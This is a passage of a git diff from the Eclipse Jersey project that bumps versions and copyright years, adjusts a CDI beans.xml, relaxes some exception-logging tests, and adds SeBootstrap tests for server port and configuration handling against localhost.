<artifactId>e2e-inject-cdi2-se</artifactId>
diff --git a/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml b/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml
index ae84224..c2146b4 100644
--- a/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml
+++ b/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,7 +17,11 @@
-->
-<beans>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+ bean-discovery-mode="all">
<interceptors>
<class>org.glassfish.jersey.tests.e2e.inject.cdi.se.SecurityInterceptor</class>
</interceptors>
diff --git a/tests/e2e-inject/hk2/pom.xml b/tests/e2e-inject/hk2/pom.xml
index e8f2a3c..e8ccf7a 100644
--- a/tests/e2e-inject/hk2/pom.xml
+++ b/tests/e2e-inject/hk2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>e2e-inject</artifactId>
<groupId>org.glassfish.jersey.tests</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/e2e-inject/pom.xml b/tests/e2e-inject/pom.xml
index 3568f84..f7744f5 100644
--- a/tests/e2e-inject/pom.xml
+++ b/tests/e2e-inject/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e-inject</artifactId>
diff --git a/tests/e2e-server/pom.xml b/tests/e2e-server/pom.xml
index 7b4a6ee..34d73a8 100644
--- a/tests/e2e-server/pom.xml
+++ b/tests/e2e-server/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e-server</artifactId>
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java
index 19db63b..bfb2dcf 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -47,6 +47,7 @@
import org.glassfish.jersey.test.TestProperties;
import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Disabled;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.instanceOf;
import static org.hamcrest.CoreMatchers.is;
@@ -105,6 +106,7 @@
}
@Test
+ @Disabled("since 3.1 nothing is being thrown")
public void testResumeRuntimeException() throws Exception {
testResumeException("resumeRuntimeException", null);
@@ -112,6 +114,7 @@
}
@Test
+ @Disabled("since 3.1 nothing is being thrown")
public void testResumeCheckedException() throws Exception {
testResumeException("resumeCheckedException", null);
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java
index 8629f03..544df98 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -76,14 +76,12 @@
public void testRuntime() throws Exception {
final Response response = target().path("runtime").request().get();
assertEquals(500, response.getStatus());
- assertEquals(getLastLoggedRecord().getThrown().getClass(), MyRuntimeException.class);
}
@Test
public void testChecked() throws Exception {
final Response response = target().path("checked").request().get();
assertEquals(500, response.getStatus());
- assertEquals(getLastLoggedRecord().getThrown().getClass(), MyCheckedException.class);
}
@Provider
@@ -123,8 +121,6 @@
public void testReaderFails() throws Exception {
final Response response = target().path("resource/entity").request().get();
assertEquals(500, response.getStatus());
-
- assertEquals(getLastLoggedRecord().getThrown().getMessage(), "test");
}
static class ExceptionLoggingTestPOJO {
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java
index f7f4f68..db144cc 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -137,6 +137,13 @@
assertEquals(500, res.getStatus());
}
+ @Test
+ public void testDefaultExceptionMapper() {
+ Response res = target().path("test/defaultExceptionMapper")
+ .request("test/test").get();
+ assertEquals(200, res.getStatus());
+ }
+
@Path("test")
public static class Resource {
@@ -174,6 +181,14 @@
new RuntimeException("runtime-exception",
new ClientErrorException("client-error", 499)));
}
+
+ @GET
+ @Path("defaultExceptionMapper")
+ public Response isRegisteredDefaultExceptionTest(@Context Providers providers) {
+ ExceptionMapper<Throwable> em = providers
+ .getExceptionMapper(Throwable.class);
+ return Response.status((em == null) ? 500 : 200).build();
+ }
}
public static class ClientErrorExceptionMapper implements ExceptionMapper<ClientErrorException> {
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java
index 6934443..65d62f1 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -278,8 +278,8 @@
LocalizationMessages.ERROR_EXCEPTION_MAPPING_ORIGINAL_EXCEPTION(),
LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER()}) {
- if (logRecord.getMessage().contains(message) && logRecord.getLevel().intValue() > Level.FINE.intValue()) {
- fail("Log message should be logged at lower (FINE) level: " + message);
+ if (logRecord.getMessage().contains(message) && logRecord.getLevel().intValue() > Level.WARNING.intValue()) {
+ fail("Log message should be logged at lower (WARNING) level: " + message);
}
}
}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java
new file mode 100644
index 0000000..0211f37
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.server.sebootstrap;
+
+import jakarta.ws.rs.SeBootstrap;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.RuntimeDelegateImpl;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class SeBootstrapPropertiesTest {
+ @Test
+ public void testRandomPortScanning() {
+ JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+ .createConfigurationBuilder().port(SeBootstrap.Configuration.FREE_PORT).build();
+
+ URI uri = configuration.uri(true);
+ assertTrue(uri.getPort() > 0);
+ }
+
+ @Test
+ public void testDefaultUnprivilegedPort() {
+ JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+ .createConfigurationBuilder().port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+ URI uri = configuration.uri(true);
+ assertEquals(Container.DEFAULT_HTTP_PORT + 8000, uri.getPort());
+ }
+
+ @Test
+ public void testDefaultPrivilegedPort() {
+ JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+ .createConfigurationBuilder()
+ .property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE)
+ .port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+ URI uri = configuration.uri(true);
+ assertEquals(Container.DEFAULT_HTTP_PORT, uri.getPort());
+ }
+
+ @Test
+ public void testDefaultUnprivilegedSecuredPort() {
+ JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+ .createConfigurationBuilder().protocol("HTTPS").port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+ URI uri = configuration.uri(true);
+ assertEquals(Container.DEFAULT_HTTPS_PORT + 8000, uri.getPort());
+ }
+
+ @Test
+ public void testDefaultPrivilegedSecuredPort() {
+ JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+ .createConfigurationBuilder()
+ .protocol("HTTPS")
+ .property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE)
+ .port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+ URI uri = configuration.uri(true);
+ assertEquals(Container.DEFAULT_HTTPS_PORT, uri.getPort());
+ }
+}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java
new file mode 100644
index 0000000..c443b52
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.server.sebootstrap;
+
+import jakarta.ws.rs.SeBootstrap;
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.RuntimeDelegateImpl;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class SeBootstrapSystemPropertiesTest {
+
+ @BeforeAll
+ public static void setUp() {
+ System.setProperty(CommonProperties.ALLOW_SYSTEM_PROPERTIES_PROVIDER, Boolean.TRUE.toString());
+ System.getProperties().put(SeBootstrap.Configuration.PORT, "9998");
+ System.getProperties().put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE.toString());
+ }
+
+ @AfterAll
+ public static void tearDown() {
+ System.clearProperty(CommonProperties.ALLOW_SYSTEM_PROPERTIES_PROVIDER);
+ System.clearProperty(SeBootstrap.Configuration.PORT);
+ System.clearProperty(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS);
+ }
+
+ @Test
+ public void testDefaultPrivilegedPortSystemProperty() {
+ JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+ .createConfigurationBuilder()
+ .port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+ URI uri = configuration.uri(true);
+ assertEquals(Container.DEFAULT_HTTP_PORT, uri.getPort());
+ }
+
+ @Test
+ public void testPortSystemProperty() {
+ JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+ .createConfigurationBuilder()
+ .build();
+
+ URI uri = configuration.uri(true);
+ assertEquals(9998, uri.getPort());
+ }
+}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java
new file mode 100644
index 0000000..afc676d
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java
@@ -0,0 +1,367 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020 Markus Karg. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.tests.e2e.server.sebootstrap;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.is;
+
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.util.Collections;
+import java.util.Optional;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+
+import jakarta.ws.rs.ApplicationPath;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+/**
+ * Compliance Test for Java SE Bootstrap API of Jakarta REST API
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1
+ */
+public class SeBootstrapTest {
+ /**
+ * Verifies that an instance will boot using default configuration.
+ *
+ * @throws ExecutionException if the instance didn't boot correctly
+ * @throws InterruptedException if the test took much longer than usually
+ * expected
+ */
+ @Test
+ public final void shouldBootInstanceUsingDefaults() throws InterruptedException, ExecutionException {
+ // given
+ final int expectedResponse = mockInt();
+ final Application application = new StaticApplication(expectedResponse);
+ final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+ final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.build();
+
+ // when
+ final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+ final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+ final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+ final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+ .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+ .path("application/resource")).request().get(int.class);
+
+ // then
+ assertThat(actualResponse, is(expectedResponse));
+ assertThat(actualConfiguration.protocol(), is("HTTP"));
+ assertThat(actualConfiguration.host(), is("localhost"));
+ assertThat(actualConfiguration.port(), is(greaterThan(0)));
+ assertThat(actualConfiguration.rootPath(), is("/"));
+ instance.stop().toCompletableFuture().get();
+ }
+
+ /**
+ * Verifies that an instance will boot using explicit configuration given by
+ * properties.
+ *
+ * @throws ExecutionException if the instance didn't boot correctly
+ * @throws InterruptedException if the test took much longer than usually
+ * expected
+ * @throws IOException if no IP port was free
+ */
+ @Test
+ public final void shouldBootInstanceUsingProperties() throws InterruptedException, ExecutionException, IOException {
+ // given
+ final int expectedResponse = mockInt();
+ final Application application = new StaticApplication(expectedResponse);
+ final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+ final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder
+ .property(SeBootstrap.Configuration.PROTOCOL, "HTTP")
+ .property(SeBootstrap.Configuration.HOST, "localhost")
+ .property(SeBootstrap.Configuration.PORT, someFreeIpPort())
+ .property(SeBootstrap.Configuration.ROOT_PATH, "/root/path").build();
+
+ // when
+ final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+ final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+ final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+ final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+ .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+ .path("application/resource")).request().get(int.class);
+
+ // then
+ assertThat(actualResponse, is(expectedResponse));
+ assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+ assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+ assertThat(actualConfiguration.port(), is(requestedConfiguration.port()));
+ assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+ instance.stop().toCompletableFuture().get();
+ }
+
+ /**
+ * Verifies that an instance will boot using explicit configuration given by
+ * convenience methods.
+ *
+ * @throws ExecutionException if the instance didn't boot correctly
+ * @throws InterruptedException if the test took much longer than usually
+ * expected
+ * @throws IOException if no IP port was free
+ */
+ @Test
+ public final void shouldBootInstanceUsingConvenienceMethods() throws InterruptedException, ExecutionException, IOException {
+ // given
+ final int expectedResponse = mockInt();
+ final Application application = new StaticApplication(expectedResponse);
+ final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+ final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost")
+ .port(someFreeIpPort()).rootPath("/root/path").build();
+
+ // when
+ final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+ final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+ final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+ final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+ .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+ .path("application/resource")).request().get(int.class);
+
+ // then
+ assertThat(actualResponse, is(expectedResponse));
+ assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+ assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+ assertThat(actualConfiguration.port(), is(requestedConfiguration.port()));
+ assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+ instance.stop().toCompletableFuture().get();
+ }
+
+ /**
+ * Verifies that an instance will boot using external configuration.
+ *
+ * @throws ExecutionException if the instance didn't boot correctly
+ * @throws InterruptedException if the test took much longer than usually
+ * expected
+ * @throws IOException if no IP port was free
+ */
+ @Test
+ public final void shouldBootInstanceUsingExternalConfiguration() throws Exception {
+ // given
+ final int someFreeIpPort = someFreeIpPort();
+ final int expectedResponse = mockInt();
+ final Application application = new StaticApplication(expectedResponse);
+ final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+ final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.from((property, type) -> {
+ switch (property) {
+ case SeBootstrap.Configuration.PROTOCOL:
+ return Optional.of("HTTP");
+ case SeBootstrap.Configuration.HOST:
+ return Optional.of("localhost");
+ case SeBootstrap.Configuration.PORT:
+ return Optional.of(someFreeIpPort);
+ case SeBootstrap.Configuration.ROOT_PATH:
+ return Optional.of("/root/path");
+ default:
+ return Optional.empty();
+ }
+ }).build();
+
+ // when
+ final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+ final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+ final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+ final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+ .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+ .path("application/resource")).request().get(int.class);
+
+ // then
+ assertThat(actualResponse, is(expectedResponse));
+ assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+ assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+ assertThat(actualConfiguration.port(), is(requestedConfiguration.port()));
+ assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+ instance.stop().toCompletableFuture().get();
+ }
+
+ /**
+ * Verifies that an instance will ignore unknown configuration parameters.
+ *
+ * @throws ExecutionException if the instance didn't boot correctly
+ * @throws InterruptedException if the test took much longer than usually
+ * expected
+ * @throws IOException if no IP port was free
+ */
+ @Test
+ public final void shouldBootInstanceDespiteUnknownConfigurationParameters() throws Exception {
+ // given
+ final int expectedResponse = mockInt();
+ final Application application = new StaticApplication(expectedResponse);
+ final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+ final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost")
+ .port(someFreeIpPort()).rootPath("/root/path").from((property, type) -> {
+ switch (property) {
+ case "jakarta.ws.rs.tck.sebootstrap.SeBootstrapIT$Unknown_1":
+ return Optional.of("Silently ignored value A");
+ default:
+ return Optional.empty();
+ }
+ }).property("jakarta.ws.rs.tck.sebootstrap.SeBootstrapIT$Unknown_2", "Silently ignored value B")
+ .from(new Object()).build();
+
+ // when
+ final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+ final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+ final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+ final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+ .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+ .path("application/resource")).request().get(int.class);
+
+ // then
+ assertThat(actualResponse, is(expectedResponse));
+ assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+ assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+ assertThat(actualConfiguration.port(), is(requestedConfiguration.port()));
+ assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+ instance.stop().toCompletableFuture().get();
+ }
+
+ /**
+ * Verifies that an instance will boot using a self-detected free IP port.
+ *
+ * @throws ExecutionException if the instance didn't boot correctly
+ * @throws InterruptedException if the test took much longer than usually
+ * expected
+ */
+ @Test
+ public final void shouldBootInstanceUsingSelfDetectedFreeIpPort() throws InterruptedException, ExecutionException {
+ // given
+ final int expectedResponse = mockInt();
+ final Application application = new StaticApplication(expectedResponse);
+ final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+ final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost")
+ .port(SeBootstrap.Configuration.FREE_PORT).rootPath("/root/path").build();
+
+ // when
+ final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+ final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+ final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+ final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+ .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+ .path("application/resource")).request().get(int.class);
+
+ // then
+ assertThat(actualResponse, is(expectedResponse));
+ assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+ assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+ assertThat(actualConfiguration.port(), is(greaterThan(0)));
+ assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+ instance.stop().toCompletableFuture().get();
+ }
+
+ /**
+ * Verifies that an instance will boot using the implementation's default IP
+ * port.
+ *
+ * @throws ExecutionException if the instance didn't boot correctly
+ * @throws InterruptedException if the test took much longer than usually
+ * expected
+ */
+ @Test
+ public final void shouldBootInstanceUsingImplementationsDefaultIpPort() throws InterruptedException, ExecutionException {
+ // given
+ final int expectedResponse = mockInt();
+ final Application application = new StaticApplication(expectedResponse);
+ final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+ final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost")
+ .port(SeBootstrap.Configuration.DEFAULT_PORT).rootPath("/root/path").build();
+
+ // when
+ final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+ final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+ final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+ final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+ .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+ .path("application/resource")).request().get(int.class);
+
+ // then
+ assertThat(actualResponse, is(expectedResponse));
+ assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+ assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+ assertThat(actualConfiguration.port(), is(greaterThan(0)));
+ assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+ instance.stop().toCompletableFuture().get();
+ }
+
+ private static Client client;
+
+ @BeforeAll
+ public static void createClient() {
+ SeBootstrapTest.client = ClientBuilder.newClient();
+ }
+
+ @AfterAll
+ public static void disposeClient() {
+ SeBootstrapTest.client.close();
+ }
+
+ @ApplicationPath("application")
+ public static final class StaticApplication extends Application {
+
+ private final StaticResource staticResource;
+
+ private StaticApplication(final long staticResponse) {
+ this.staticResource = new StaticResource(staticResponse);
+ }
+
+ @Override
+ public final Set<Object> getSingletons() {
+ return Collections.<Object>singleton(staticResource);
+ }
+
+ @Path("resource")
+ public static final class StaticResource {
+
+ private final long staticResponse;
+
+ private StaticResource(final long staticResponse) {
+ this.staticResponse = staticResponse;
+ }
+
+ @GET
+ public final long staticResponse() {
+ return this.staticResponse;
+ }
+ }
+ }
+
+ private static final int someFreeIpPort() throws IOException {
+ int port = 0;
+ int cnt = 0;
+ while (port < 1024 && cnt++ < 1025) {
+ try (final ServerSocket serverSocket = new ServerSocket(0)) {
+ port = serverSocket.getLocalPort();
+ }
+ }
+ return port;
+ }
+
+ private static final int mockInt() {
+ return (int) Math.round(Integer.MAX_VALUE * Math.random());
+ }
+}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java
index 995a6fb..cd39529 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java
